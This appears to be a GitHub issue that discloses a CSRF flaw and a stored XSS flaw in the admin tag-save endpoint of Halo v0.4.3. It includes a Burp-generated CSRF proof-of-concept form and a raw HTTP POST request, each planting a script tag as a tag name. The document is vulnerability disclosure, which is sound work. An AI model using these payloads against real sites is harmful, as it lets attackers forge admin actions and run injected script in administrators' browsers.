Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

A CSRF vulnerability and A XSS vulnerability in admin/tag/save #11

Open
m4ra7h0n opened this issue Aug 18, 2023 · 0 comments
Open

A CSRF vulnerability and A XSS vulnerability in admin/tag/save #11

m4ra7h0n opened this issue Aug 18, 2023 · 0 comments

Comments

@m4ra7h0n
Copy link

m4ra7h0n commented Aug 18, 2023 •
edited

A CSRF vulnerability and A XSS vulnerability in article tag save was discovered in halo release v0.4.3

There is a CSRF vulnerability which allows remote attackers to send web page with CSRF script ,attackers could use this CSRF vulnerability add tag with XSS payload .

XSS Vulnerability url: https://demo.halo.run/admin/tag/save
CSRF Vulnerability url: https://demo.halo.run/admin/tag/save
image
CSRF payload:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.halo.run/admin/tag/save" method="POST">
      <input type="hidden" name="tagName" value="&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="tagUrl" value="123" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

image
xss payload

POST /admin/tag/save HTTP/1.1
Host: demo.halo.run
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://demo.halo.run/admin/tag
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 54
Connection: close
Cookie: JSESSIONID=7pY4KPxPbsy7pPOuJ_5OghgiMpv14yT9XbfW_p20
Pragma: no-cache
Cache-Control: no-cache

tagName=%3Cscript%3Ealert(1)%3C%2Fscript%3E&tagUrl=123

when admin user post a article,the XSS payload in tag value would exec.
image
@m4ra7h0n m4ra7h0n changed the title 修改标签处存在CSRF漏洞 A CSRF vulnerability and A XSS vulnerability in admin/tag/save Aug 18, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
1 participant
@m4ra7h0n